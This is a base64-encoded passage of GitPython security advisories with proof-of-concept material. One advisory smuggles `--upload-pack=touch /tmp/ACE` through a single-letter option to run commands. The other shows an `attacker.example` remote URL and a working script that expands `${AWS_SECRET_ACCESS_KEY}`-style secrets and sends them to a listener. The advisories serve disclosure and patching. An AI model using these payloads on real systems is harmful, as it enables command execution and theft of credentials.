YXJkIGJ1aWxkcyBpdHMgY2FuZGlkYXRlIG9wdGlvbiBsaXN0IGZyb20ga3dhcmcgS0VZUyBvbmx5OiBgX29wdGlvbl9jYW5kaWRhdGVzKFtdLCB7Im4iOiItLXVwbG9hZC1wYWNrPTxjbWQ+In0pYCByZXR1cm5zIGBbJy1uJ11gIChjbWQucHk6MTA0Mi0xMDQ2IGRlcml2ZXMgdGhlIGNhbmRpZGF0ZSBmcm9tIHRoZSBrZXksIG5ldmVyIHRoZSB2YWx1ZSkuIGAtbmAgaXMgbm90IG9uIHRoZSBkZW55bGlzdCwgc28gYGNoZWNrX3Vuc2FmZV9vcHRpb25zYCBwYXNzZXMuIEJ1dCBgdHJhbnNmb3JtX2t3YXJnKCduJywgdmFsdWUsIHNwbGl0X3NpbmdsZV9jaGFyX29wdGlvbnM9VHJ1ZSlgIChjbWQucHk6MTYwMC0xNjA2KSBlbWl0cyAqKnR3byoqIGFyZ3YgdG9rZW5zIGBbJy1uJywgJy0tdXBsb2FkLXBhY2s9PGNtZD4nXWAuIGdpdCB0aGVuIHBhcnNlcyB0aGUgc2Vjb25kIHRva2VuIGFzIGAtLXVwbG9hZC1wYWNrYCBhbmQgZXhlY3V0ZXMgdGhlIGF0dGFja2VyLXN1cHBsaWVkIGNvbW1hbmQuIFRoZSBndWFyZCBuZXZlciBpbnNwZWN0cyB0aGUgdmFsdWUgdGhhdCBiZWNvbWVzIGEgc2VwYXJhdGUgYXJndiB0b2tlbi4KCiMjIyMjIEltcGFjdApBcmJpdHJhcnkgT1MgY29tbWFuZCBleGVjdXRpb24gYXMgdGhlIGhvc3QgcHJvY2VzcyAodmlhIGAtLXVwbG9hZC1wYWNrYCkgaW4gdGhlIGRlZmF1bHQgY29uZmlndXJhdGlvbiwgYWZmZWN0aW5nIGFsbCBndWFyZGVkIG1ldGhvZHMgc2luY2UgdGhleSBhbGwgYnVpbGQgY2FuZGlkYXRlcyB0aHJvdWdoIHRoZSBuYW1lLW9ubHkgYF9vcHRpb25fY2FuZGlkYXRlc2AuCgojIyMjIyBQcm9vZiBvZiBDb25jZXB0CmBgYHB5dGhvbgpmcm9tIGdpdCBpbXBvcnQgUmVwbwpSZXBvLmNsb25lX2Zyb20oYmFyZV9yZXBvLCBvdXRfZGlyLCBuPSItLXVwbG9hZC1wYWNrPXRvdWNoIC90bXAvQUNFO2dpdC11cGxvYWQtcGFjayIpCgojIyMjIyAvdG1wL0FDRSBjcmVhdGVkIC0+IEFDRS4gRGlyZWN0LW5hbWUgZm9ybSB1cGxvYWRfcGFjaz0iLi4uIiBpcyBjb3JyZWN0bHkgQkxPQ0tFRC4KYGBgCkZpbGUtd3JpdGUgdmFyaWFudCBvbiBhIGd1YXJkZWQgcmV2aXNpb24gY29tbWFuZDogYGl0ZXJfY29tbWl0cygnSEVBRCcsIGc9Jy0tb3V0cHV0PS9wYXRoJylgIC0+IGNhbmRpZGF0ZSBgWyctZyddYCBwYXNzZXMsIGFyZ3YgYFsnLWcnLCctLW91dHB1dD0vcGF0aCddYCwgdmljdGltIGZpbGUgdHJ1bmNhdGVkLgoKIyMjIyMgQXR0YWNrIENoYWluCjEuIEVudHJ5OiBhcHAgZm9yd2FyZHMgYSB1c2VyLXN1cHBsaWVkIG9wdGlvbnMgZGljdCAtPiBgUmVwby5jbG9uZV9mcm9tKHVybCwgcGF0aCwgbj0iLS11cGxvYWQtcGFjaz10b3VjaCAvdG1wL0FDRTtnaXQtdXBsb2FkLXBhY2siKWAuIEd1YXJkOiBgY2hlY2tfdW5zYWZlX29wdGlvbnMob3B0aW9ucz1fb3B0aW9uX2NhbmRpZGF0ZXMoW10sIGt3YXJncyksIHVuc2FmZT11bnNhZmVfZ2l0X2Nsb25lX29wdGlvbnMpYCBhdCBiYXNlLnB5LiBCeXBhc3MgcHJvb2Y6IGBfb3B0aW9uX2NhbmRpZGF0ZXMoW10sIHsibiI6Ii0tdXBsb2FkLXBhY2s9Li4uIn0pYCAtPiBgWyctbiddYCAoa2V5LW9ubHkpLCBub3Qgb24gZGVueWxpc3QgLT4gbm8gVW5zYWZlT3B0aW9uRXJyb3IgKHZlcmlmaWVkIGxpdmUpLgoyLiBUcmFuc2Zvcm06IGB0cmFuc2Zvcm1fa3dhcmcoJ24nLCB2YWx1ZSwgc3BsaXRfc2luZ2xlX2NoYXJfb3B0aW9ucz1UcnVlKWAgLT4gYFsnLW4nLCAnLS11cGxvYWQtcGFjaz10b3VjaCAvdG1wL0FDRTtnaXQtdXBsb2FkLXBhY2snXWAuIEd1YXJkOiBub25lIChndWFyZCBhbHJlYWR5IHBhc3NlZCBvbiBuYW1lLW9ubHkgY2FuZGlkYXRlKS4gQnlwYXNzIHByb29mOiB2ZXJpZmllZCB0cmFuc2Zvcm0gZW1pdHMgdHdvIHRva2Vucy4KMy4gU2luazogYGdpdCBjbG9uZSAtbiAtLXVwbG9hZC1wYWNrPSd0b3VjaCAuLi47Z2l0LXVwbG9hZC1wYWNrJyAtLSA8c3JjPiA8ZHN0PmA7IGdpdCBwYXJzZXMgYW5kIHJ1bnMgdGhlIHNlY29uZCB0b2tlbi4gSW1wYWN0OiBBQ0UgKG1hcmtlciBjcmVhdGVkLCB2ZXJpZmllZCBlbmQtdG8tZW5kKS4KCiMjIyMjIEJ5cGFzcyBFdmlkZW5jZQpMaXZlLXZlcmlmaWVkIG9uIEhFQUQgKHRhZyAzLjEuNTMpOiBgX29wdGlvbl9jYW5kaWRhdGVzYCByZXR1cm5zIGtleS1vbmx5IGNhbmRpZGF0ZSBgWyctbiddYDsgYHRyYW5zZm9ybV9rd2FyZ3NgIGVtaXRzIHRoZSBzbXVnZ2xlZCBgLS11cGxvYWQtcGFjaz1gIHRva2VuOyBjbG9uZV9mcm9tIHdpdGggdGhlIHBheWxvYWQgY3JlYXRlZCB0aGUgbWFya2VyIGZpbGU7IHRoZSBkaXJlY3QtbmFtZSBgdXBsb2FkX3BhY2s9YCBmb3JtIHJhaXNlZCBVbnNhZmVPcHRpb25FcnJvci4gQWxsIHByaW9yIGJ5cGFzc2VzIChHSFNBLXJwbTUgdW5kZXJzY29yZSBrZXksIEdIU0EtMmY5NiBsb25nLW9wdGlvbiBhYmJyZXZpYXRpb24sIEdIU0EtdjM5NiBqb2luZWQgc2hvcnQgb3B0aW9uLCBHSFNBLXgycXggbXVsdGktYmVmb3JlLXNwbGl0KSBhcmUgQkxPQ0tFRCBvbiBIRUFEIOKAlCB0aGlzIGlzIGEgZGlzdGluY3Qga3dhcmctdmFsdWUtPnNlcGFyYXRlLXRva2VuIHZlY3Rvci4KCiMjIyMjIEFmZmVjdGVkIFZlcnNpb25zCmA8PSAzLjEuNTNgCgojIyMjIyBTdWdnZXN0ZWQgRml4Ck1ha2UgYF9vcHRpb25fY2FuZGlkYXRlc2AgYWxzbyBlbWl0IGNhbmRpZGF0ZXMgZGVyaXZlZCBmcm9tIHNpbmdsZS1jaGFyYWN0ZXIga3dhcmcgVkFMVUVTIHdoZW4gYHNwbGl0X3NpbmdsZV9jaGFyX29wdGlvbnNgIGlzIGluIGVmZmVjdCwgT1IgcnVuIGBjaGVja191bnNhZmVfb3B0aW9uc2Agb3ZlciB0aGUgZnVsbHktdHJhbnNmb3JtZWQgYXJndiByYXRoZXIgdGhhbiB0aGUgcmVjb25zdHJ1Y3RlZCBuYW1lLW9ubHkgY2FuZGlkYXRlIGxpc3QuCgotLS0KUmVwb3J0ZWQgYnkgKip6eCAoSmFjZSkqKiDigJQgR2l0SHViOiBAJiM4MjAzO21hbnVzLXVzZQoKIyMjIyBTZXZlcml0eQotIENWU1MgU2NvcmU6IDguOCAvIDEwIChIaWdoKQotIFZlY3RvciBTdHJpbmc6IGBDVlNTOjMuMS9BVjpOL0FDOkwvUFI6TC9VSTpOL1M6VS9DOkgvSTpIL0E6SGAKCiMjIyMgUmVmZXJlbmNlcwotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1yOW1yLW0zN2MtNWZyM10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0Etcjltci1tMzdjLTVmcjMpCi0gW2h0dHBzOi8vZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vcHVsbC8yMTgwXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3B1bGwvMjE4MCkKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21taXQvZThkMGZiZjc3NGQxZjZiYWEzYjQ4MWFkZmU0OGJkMjYyZTQzYjQ1M10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9jb21taXQvZThkMGZiZjc3NGQxZjZiYWEzYjQ4MWFkZmU0OGJkMjYyZTQzYjQ1MykKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbl0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbikKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9yZWxlYXNlcy90YWcvMy4xLjU0XShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3JlbGVhc2VzL3RhZy8zLjEuNTQpCgpUaGlzIGRhdGEgaXMgcHJvdmlkZWQgYnkgW09TVl0oaHR0cHM6Ly9vc3YuZGV2L3Z1bG5lcmFiaWxpdHkvR0hTQS1yOW1yLW0zN2MtNWZyMykgYW5kIHRoZSBbR2l0SHViIEFkdmlzb3J5IERhdGFiYXNlXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0aHViL2Fkdmlzb3J5LWRhdGFiYXNlKSAoW0NDLUJZIDQuMF0oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2dpdGh1Yi9hZHZpc29yeS1kYXRhYmFzZS9ibG9iL21haW4vTElDRU5TRS5tZCkpLgo8L2RldGFpbHM+CgotLS0KCiMjIyBHaXRQeXRob246IEVudmlyb25tZW50LXZhcmlhYmxlIGV4ZmlsdHJhdGlvbiB2aWEgUmVwby5jcmVhdGVfcmVtb3RlKCkgLyBSZW1vdGUuYWRkKCkgVVJMIChpbmNvbXBsZXRlIGZpeCBvZiBHSFNBLXJ3ajgtcGdoMy1yNTczKQpbR0hTQS05NHA0LTRjcTgtOWc2N10oaHR0cHM6Ly9yZWRpcmVjdC5naXRodWIuY29tL2Fkdmlzb3JpZXMvR0hTQS05NHA0LTRjcTgtOWc2NykKCjxkZXRhaWxzPgo8c3VtbWFyeT5Nb3JlIGluZm9ybWF0aW9uPC9zdW1tYXJ5PgoKIyMjIyBEZXRhaWxzCiMjIyMjIFN1bW1hcnkKClRoZSBmaXggZm9yIFtHSFNBLXJ3ajgtcGdoMy1yNTczXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL3NlY3VyaXR5L2Fkdmlzb3JpZXMvR0hTQS1yd2o4LXBnaDMtcjU3Mykgc3RvcHBlZCBgUmVwby5jbG9uZV9mcm9tKClgIGZyb20gcnVubmluZyBjYWxsZXItc3VwcGxpZWQgVVJMcyB0aHJvdWdoIGBvcy5wYXRoLmV4cGFuZHZhcnMoKWAsIGJ1dCBpdCBndWFyZGVkIG9ubHkgdGhhdCBvbmUgY2FsbGVyLiBgUmVtb3RlLmNyZWF0ZSgpYCDigJQgcmVhY2hlZCBmcm9tIHRoZSBwdWJsaWMgYFJlcG8uY3JlYXRlX3JlbW90ZSgpYCBhbmQgaXRzIGBSZW1vdGUuYWRkKClgIGFsaWFzIOKAlCBzdGlsbCBwYXNzZXMgYW4gYXR0YWNrZXItaW5mbHVlbmNlYWJsZSBVUkwgdGhyb3VnaCBgR2l0LnBvbGlzaF91cmwoKWAgd2l0aCB0aGUgZGVmYXVsdCBgZXhwYW5kX3ZhcnM9VHJ1ZWAuIEEgVVJMIHN1Y2ggYXMgYGh0dHA6Ly9hdHRhY2tlci5leGFtcGxlLyR7QVdTX1NFQ1JFVF9BQ0NFU1NfS0VZfS9yZXBvLmdpdGAgaXMgZXhwYW5kZWQgc2VydmVyLXNpZGUgdG8gZW1iZWQgdGhlIGhvc3RpbmcgcHJvY2VzcydzIGVudmlyb25tZW50IHNlY3JldCwgd3JpdHRlbiBpbnRvIGAuZ2l0L2NvbmZpZ2AsIGFuZCB0aGVuIHRyYW5zbWl0dGVkIHRvIHRoZSBhdHRhY2tlcidzIGhvc3Qgb24gdGhlIG5leHQgYGZldGNoYC9gcHVsbGAuIFRoaXMgaXMgdGhlIHNhbWUgcHJpbWl0aXZlIGFuZCBzYW1lICJpbXBvcnQgcmVwb3NpdG9yeSBmcm9tIFVSTCIgdGhyZWF0IG1vZGVsIHRoZSBhZHZpc29yeSBkZXNjcmliZXMsIHZpYSB0aGUgc2libGluZyBjYWxsZXIgdGhlIGZpeCBtaXNzZWQuCgojIyMjIyBSb290IENhdXNlCgpGaXggY29tbWl0IFtgOGFjNWEzMDVgXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbW1pdC84YWM1YTMwNTE5YjZmNGFmODUzOThiOWI5ZDcwNjRmZjRkNDUyZGEyKSBhZGRlZCBhbiBgZXhwYW5kX3ZhcnNgIHBhcmFtZXRlciB0byBgR2l0LnBvbGlzaF91cmwoKWAgKGRlZmF1bHQgYFRydWVgKSBhbmQgdXNlZCBgZXhwYW5kX3ZhcnM9RmFsc2VgIG9ubHkgaW4gYFJlcG8uX2Nsb25lKClgIChbYGdpdC9yZXBvL2Jhc2UucHk6MTQ1NWBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vYmxvYi8zLjEuNTMvZ2l0L3JlcG8vYmFzZS5weSNMMTQ1NSkpLiBUaGUgc2hhcmVkIGhlbHBlcidzIGRhbmdlcm91cyBkZWZhdWx0IHdhcyBsZWZ0IGluIHBsYWNlLCBhbmQgdGhlIG90aGVyIGNhbGxlcnMgd2VyZSBub3QgdXBkYXRlZC4KCltgZ2l0L3JlbW90ZS5weTo4MTFgXShodHRwczovL3JlZGlyZWN0LmdpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2Jsb2IvMy4xLjUzL2dpdC9yZW1vdGUucHkjTDgxMSksIGBSZW1vdGUuY3JlYXRlYDoKCmBgYHB5dGhvbgp1cmwgPSBHaXQucG9saXNoX3VybCh1cmwpICAgICAgICAgICAgICAgICAjIGV4cGFuZF92YXJzPVRydWUgLT4gb3MucGF0aC5leHBhbmR2YXJzKHVybCkKaWYgbm90IGFsbG93X3Vuc2FmZV9wcm90b2NvbHM6CiAgICBHaXQuY2hlY2tfdW5zYWZlX3Byb3RvY29scyh1cmwpICAgICAgICMgaHR0cHM6Ly8gY2FycnlpbmcgdGhlIHNlY3JldCBwYXNzZXMKcmVwby5naXQucmVtb3RlKHNjbWQsICItLSIsIG5hbWUsIHVybCwgKiprd2FyZ3MpICAgIyBleHBhbmRlZCBVUkwgd3JpdHRlbiB0byAuZ2l0L2NvbmZpZwpgYGAKCmBjaGVja191bnNhZmVfcHJvdG9jb2xzKClgIHJ1bnMgKmFmdGVyKiBleHBhbnNpb24gaGVyZSwgc28gaXQgcmVqZWN0cyBhbiBgZXh0OjpgIHBheWxvYWQgYnV0IGRvZXMgbm90aGluZyBhYm91dCBhbiBgaHR0cHM6Ly9gIFVSTCB0aGF0IGNhcnJpZXMgYW4gZXhwYW5kZWQgc2VjcmV0IGluIGl0cyBwYXRoIG9yIGhvc3Qg4oCUIHRoZSBkaXNjbG9zdXJlIHByaW1pdGl2ZS4KClRoZSBzYW1lIHVuZ3VhcmRlZCBjYWxsIGFsc28gc2l0cyBhdCBbYGdpdC9vYmplY3RzL3N1Ym1vZHVsZS9iYXNlLnB5OjYxMWBdKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vYmxvYi8zLjEuNTMvZ2l0L29iamVjdHMvc3VibW9kdWxlL2Jhc2UucHkjTDYxMSkgKGBTdWJtb2R1bGUuYWRkYCksIHdoaWNoIHdyaXRlcyB0aGUgZXhwYW5kZWQgVVJMIGludG8gYC5naXRtb2R1bGVzYCAoYSB0cmFja2VkIGZpbGUpIGFuZCBgLmdpdC9jb25maWdgLgoKIyMjIyMgU3RlcHMgdG8gUmVwcm9kdWNlCgojIyMjIyBQcmVyZXF1aXNpdGVzCgotIFB5dGhvbiAzLjkrCi0gYGdpdGAgb24gYFBBVEhgIChmb3IgdGhlIGZldGNoIHN0ZXApCi0gR2l0UHl0aG9uIDMuMS41MyAoaW5zdGFsbGVkIGJlbG93KQoKIyMjIyMgU3RlcCAxOiBJbnN0YWxsIEdpdFB5dGhvbiAzLjEuNTMgaW4gYSBjbGVhbiB2ZW52CgpgYGBiYXNoCm1rZGlyIC90bXAvZ3AtcmVtb3RlLXBvYyAmJiBjZCAvdG1wL2dwLXJlbW90ZS1wb2MKcHl0aG9uMyAtbSB2ZW52IHZlbnYKLi92ZW52L2Jpbi9waXAgaW5zdGFsbCBnaXRweXRob249PTMuMS41MwpgYGAKCiMjIyMjIFN0ZXAgMjogV3JpdGUgdGhlIFBvQwoKYGBgYmFzaApjYXQgPiBwb2MucHkgPDwnUFlFT0YnCgojIS91c3IvYmluL2VudiBweXRob24zCiIiIkVudi12YXIgZXhmaWx0cmF0aW9uIHZpYSBSZXBvLmNyZWF0ZV9yZW1vdGUoKSBVUkwuIFNlbnRpbmVsIGRhdGEgb25seS4iIiIKaW1wb3J0IGh0dHAuc2VydmVyCmltcG9ydCBvcwppbXBvcnQgdGVtcGZpbGUKaW1wb3J0IHRocmVhZGluZwoKaW1wb3J0IGdpdAoKcHJpbnQoImdpdHB5dGhvbiB2ZXJzaW9uOiIsIGdpdC5fX3ZlcnNpb25fXykKCiMjIyMjIFNlbnRpbmVsIHN0YW5kaW5nIGluIGZvciBhIHByb2Nlc3Mgc2VjcmV0IHN1Y2ggYXMgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZLgpTRU5USU5FTCA9ICJsZWFrZWQtYTFiMmMzLVNFTlRJTkVMLWRvLW5vdC11c2UiCm9zLmVudmlyb25bIkdQX1NFTlRJTkVMX1NFQ1JFVCJdID0gU0VOVElORUwKCiMjIyMjIExvY2FsIEhUVFAgc2VydmVyIHN0YW5kaW5nIGluIGZvciBhdHRhY2tlci5leGFtcGxlLgpjYXB0dXJlZCA9IFtdCgpjbGFzcyBIYW5kbGVyKGh0dHAuc2VydmVyLkJhc2VIVFRQUmVxdWVzdEhhbmRsZXIpOgogICAgZGVmIGRvX0dFVChzZWxmKToKICAgICAgICBjYXB0dXJlZC5hcHBlbmQoc2VsZi5wYXRoKQogICAgICAgIHNlbGYuc2VuZF9yZXNwb25zZSg0MDQpCiAgICAgICAgc2VsZi5lbmRfaGVhZGVycygpCgogICAgZGVmIGxvZ19tZXNzYWdlKHNlbGYsICphKToKICAgICAgICBwYXNzCgpzcnYgPSBodHRwLnNlcnZlci5IVFRQU2VydmVyKCgiMTI3LjAuMC4xIiwgMCksIEhhbmRsZXIpCnBvcnQgPSBzcnYuc2VydmVyX2FkZHJlc3NbMV0KdGhyZWFkaW5nLlRocmVhZCh0YXJnZXQ9c3J2LnNlcnZlX2ZvcmV2ZXIsIGRhZW1vbj1UcnVlKS5zdGFydCgpCgojIyMjIyBBdHRhY2tlci1jb250cm9sbGVkIFVSTCBoYW5kZWQgdG8gYW4gImltcG9ydCBmcm9tIFVSTCIgZmVhdHVyZS4KYXR0YWNrZXJfdXJsID0gImh0dHA6Ly8xMjcuMC4wLjE6JWQvc3RlYWwvJHtHUF9TRU5USU5FTF9TRUNSRVR9L3JlcG8uZ2l0IiAlIHBvcnQKCmRlZiBub3JtKHMpOiAgIyBkaXNwbGF5IHRoZSBlcGhlbWVyYWwgbGlzdGVuZXIgcG9ydCBhcyBhIHN0YWJsZSBwbGFjZWhvbGRlcgogICAgcmV0dXJuIHMucmVwbGFjZSgiMTI3LjAuMC4xOiVkIiAlIHBvcnQsICIxMjcuMC4wLjE6UE9SVCIpCgpwcmludCgiYXR0YWNrZXItc3VwcGxpZWQgVVJMIDoiLCBub3JtKGF0dGFja2VyX3VybCkpCgpyZXBvID0gZ2l0LlJlcG8uaW5pdCh0ZW1wZmlsZS5ta2R0ZW1wKHByZWZpeD0iZ3AtdmljdGltLSIpKQpyZW1vdGUgPSByZXBvLmNyZWF0ZV9yZW1vdGUoImV2aWwiLCBhdHRhY2tlcl91cmwpICAgIyBwdWJsaWMgQVBJCgpzdG9yZWQgPSByZXBvLnJlbW90ZSgiZXZpbCIpLnVybApwcmludCgic3RvcmVkIHJlbW90ZSBVUkwgICAgIDoiLCBub3JtKHN0b3JlZCkpCnByaW50KCJTRU5USU5FTCBpbiBnaXQgY29uZmlnOiIsIFNFTlRJTkVMIGluIHN0b3JlZCkKCnRyeToKICAgIHJlbW90ZS5mZXRjaCgpICAgICAgICAgICMgdHJhbnNtaXRzIHRoZSBleHBhbmRlZCBVUkwgdG8gdGhlIGF0dGFja2VyIGhvc3QKZXhjZXB0IEV4Y2VwdGlvbjoKICAgIHBhc3MgICAgICAgICAgICAgICAgICAgICMgZmV0Y2ggZmFpbHMgYWZ0ZXIgdGhlIHJlcXVlc3QgaXMgYWxyZWFkeSBzZW50CgpzcnYuc2h1dGRvd24oKQpvdmVyX25ldHdvcmsgPSBhbnkoU0VOVElORUwgaW4gcCBmb3IgcCBpbiBjYXB0dXJlZCkKcHJpbnQoIkhUVFAgcGF0aHMgcmVjZWl2ZWQgICA6IiwgW25vcm0ocCkgZm9yIHAgaW4gY2FwdHVyZWRdKQpwcmludCgiU0VOVElORUwgb3ZlciBuZXR3b3JrIDoiLCBvdmVyX25ldHdvcmspCgpwcmludCgpCmlmIFNFTlRJTkVMIGluIHN0b3JlZCBhbmQgb3Zlcl9uZXR3b3JrOgogICAgcHJpbnQoIlZVTE5FUkFCTEU6IGVudi12YXIgZXhwYW5kZWQgaW50byBzdG9yZWQgVVJMIEFORCB0cmFuc21pdHRlZCB0byBhdHRhY2tlciBob3N0IikKZWxpZiBTRU5USU5FTCBpbiBzdG9yZWQ6CiAgICBwcmludCgiVlVMTkVSQUJMRTogZW52LXZhciBleHBhbmRlZCBpbnRvIHN0b3JlZCBnaXQtY29uZmlnIFVSTCIpCmVsc2U6CiAgICBwcmludCgibm90IHJlcHJvZHVjZWQiKQpQWUVPRgpgYGAKCiMjIyMjIFN0ZXAgMzogUnVuIGl0CgpgYGBiYXNoCmNkIC90bXAvZ3AtcmVtb3RlLXBvYyAmJiAuL3ZlbnYvYmluL3B5dGhvbiBwb2MucHkKYGBgCgpFeHBlY3RlZCBvdXRwdXQgKHRoZSBsaXN0ZW5lcidzIGVwaGVtZXJhbCBwb3J0IGlzIHNob3duIGFzIGBQT1JUYCk6CgpgYGAKZ2l0cHl0aG9uIHZlcnNpb246IDMuMS41MwphdHRhY2tlci1zdXBwbGllZCBVUkwgOiBodHRwOi8vMTI3LjAuMC4xOlBPUlQvc3RlYWwvJHtHUF9TRU5USU5FTF9TRUNSRVR9L3JlcG8uZ2l0CnN0b3JlZCByZW1vdGUgVVJMICAgICA6IGh0dHA6Ly8xMjcuMC4wLjE6UE9SVC9zdGVhbC9sZWFrZWQtYTFiMmMzLVNFTlRJTkVMLWRvLW5vdC11c2UvcmVwby5naXQKU0VOVElORUwgaW4gZ2l0IGNvbmZpZzogVHJ1ZQpIVFRQIHBhdGhzIHJlY2VpdmVkICAgOiBbJy9zdGVhbC9sZWFrZWQtYTFiMmMzLVNFTlRJTkVMLWRvLW5vdC11c2UvcmVwby5naXQvaW5mby9yZWZzP3NlcnZpY2U9Z2l0LXVwbG9hZC1wYWNrJ10KU0VOVElORUwgb3ZlciBuZXR3b3JrIDogVHJ1ZQoKVlVMTkVSQUJMRTogZW52LXZhciBleHBhbmRlZCBpbnRvIHN0b3JlZCBVUkwgQU5EIHRyYW5zbWl0dGVkIHRvIGF0dGFja2VyIGhvc3QKYGBgCgpUaGUgYCR7R1BfU0VOVElORUxfU0VDUkVUfWAgdG9rZW4gaW4gdGhlIHN1cHBsaWVkIFVSTCBpcyByZXBsYWNlZCB3aXRoIHRoZSBlbnZpcm9ubWVudCB2YWx1ZSBib3RoIGluIHRoZSBzdG9yZWQgYC5naXQvY29uZmlnYCBVUkwgYW5kIGluIHRoZSByZXF1ZXN0IHRoYXQgcmVhY2hlcyB0aGUgYXR0YWNrZXItY29udHJvbGxlZCBob3N0LgoKIyMjIyMgU3VnZ2VzdGVkIEZpeAoKUGFzcyBgZXhwYW5kX3ZhcnM9RmFsc2VgIGF0IHRoZSByZW1haW5pbmcgVVJMIGNhbGxlcnMsIG1hdGNoaW5nIHRoZSBjbG9uZSBmaXg6CgotIGBnaXQvcmVtb3RlLnB5YCBgUmVtb3RlLmNyZWF0ZWA6IGB1cmwgPSBHaXQucG9saXNoX3VybCh1cmwsIGV4cGFuZF92YXJzPUZhbHNlKWAKLSBgZ2l0L29iamVjdHMvc3VibW9kdWxlL2Jhc2UucHlgIGBTdWJtb2R1bGUuYWRkYDogYHVybCA9IEdpdC5wb2xpc2hfdXJsKHVybCwgZXhwYW5kX3ZhcnM9RmFsc2UpYAoKTW9yZSByb2J1c3RseSwgZmxpcCB0aGUgYEdpdC5wb2xpc2hfdXJsKClgIGRlZmF1bHQgdG8gYGV4cGFuZF92YXJzPUZhbHNlYCAoZW52LXZhciBleHBhbnNpb24gb24gYSBVUkwgaXMgbmV2ZXIgZGVzaXJhYmxlIGZvciBuZXR3b3JrIHJlbW90ZXMpIGFuZCByZXF1aXJlIGNhbGxlcnMgdGhhdCBnZW51aW5lbHkgbm9ybWFsaXplIGxvY2FsIHBhdGhzIHRvIG9wdCBpbi4KCiMjIyMjIENsZWFudXAKCmBgYGJhc2gKcm0gLXJmIC90bXAvZ3AtcmVtb3RlLXBvYwpgYGAKCiMjIyMjIEltcGFjdAoKQW55IHNlY3JldCBpbiB0aGUgaG9zdGluZyBwcm9jZXNzIGVudmlyb25tZW50IChgQVdTX1NFQ1JFVF9BQ0NFU1NfS0VZYCwgYEdJVEhVQl9UT0tFTmAsIENJL0NEIHRva2VucykgaXMgZGlzY2xvc2VkIHRvIGFuIGF0dGFja2VyIHdobyBjb250cm9scyBhIHJlbW90ZSBVUkwgcGFzc2VkIHRvIGBSZXBvLmNyZWF0ZV9yZW1vdGUoKWAgLyBgUmVtb3RlLmFkZCgpYC4gVGhlIHNlY3JldCBpcyBleHBhbmRlZCBpbnRvIGAuZ2l0L2NvbmZpZ2AgaW1tZWRpYXRlbHkgYW5kIHRyYW5zbWl0dGVkIG92ZXIgdGhlIG5ldHdvcmsgKEROUyArIEhUVFApIG9uIHRoZSBuZXh0IGBmZXRjaGAvYHB1bGxgL2ByZW1vdGUgdXBkYXRlYC4gVGhpcyBpcyB0aGUgZG9jdW1lbnRlZCAiaW1wb3J0IHJlcG9zaXRvcnkgZnJvbSBVUkwiIGF0dGFja2VyIG1vZGVsIG9mIEdIU0EtcndqOC1wZ2gzLXI1NzMg4oCUIENJIHNlcnZlcnMsIGdpdC1ob3N0aW5nIG1pcnJvcnMsIGFuZCBkZXBlbmRlbmN5IHNjYW5uZXJzIOKAlCBhcHBsaWVkIHRvIHRoZSBhZGQtYS1yZW1vdGUgZmxvdywgd2hpY2ggdGhlIGNsb25lLW9ubHkgZml4IGRpZCBub3QgY292ZXIuIFRoZSBzYW1lIGRpc2Nsb3N1cmUgcmVhY2hlcyBgLmdpdG1vZHVsZXNgIChhIGNvbW1pdHRhYmxlIGZpbGUpIHZpYSBgU3VibW9kdWxlLmFkZCgpYC4KCiMjIyMgU2V2ZXJpdHkKLSBDVlNTIFNjb3JlOiA3LjUgLyAxMCAoSGlnaCkKLSBWZWN0b3IgU3RyaW5nOiBgQ1ZTUzozLjEvQVY6Ti9BQzpML1BSOk4vVUk6Ti9TOlUvQzpIL0k6Ti9BOk5gCgojIyMjIFJlZmVyZW5jZXMKLSBbaHR0cHM6Ly9naXRodWIuY29tL2dpdHB5dGhvbi1kZXZlbG9wZXJzL0dpdFB5dGhvbi9zZWN1cml0eS9hZHZpc29yaWVzL0dIU0EtOTRwNC00Y3E4LTlnNjddKGh0dHBzOi8vcmVkaXJlY3QuZ2l0aHViLmNvbS9naXRweXRob24tZGV2ZWxvcGVycy9HaXRQeXRob24vc2VjdXJpdHkvYWR2aXNvcmllcy9HSFNBLTk0cDQtNGNxOC05ZzY3KQotIFtodHRwczovL2dpdGh1Yi5jb20vZ2l0cHl0aG9uLWRldmVsb3BlcnMvR2l0UHl0aG9uL2NvbW1pdC84NjM0MTc0NTdhMDYzM2RiN2VhNWFlZDRmZDAxZTBiMjkxYTQxMTYyXShodHRwczovL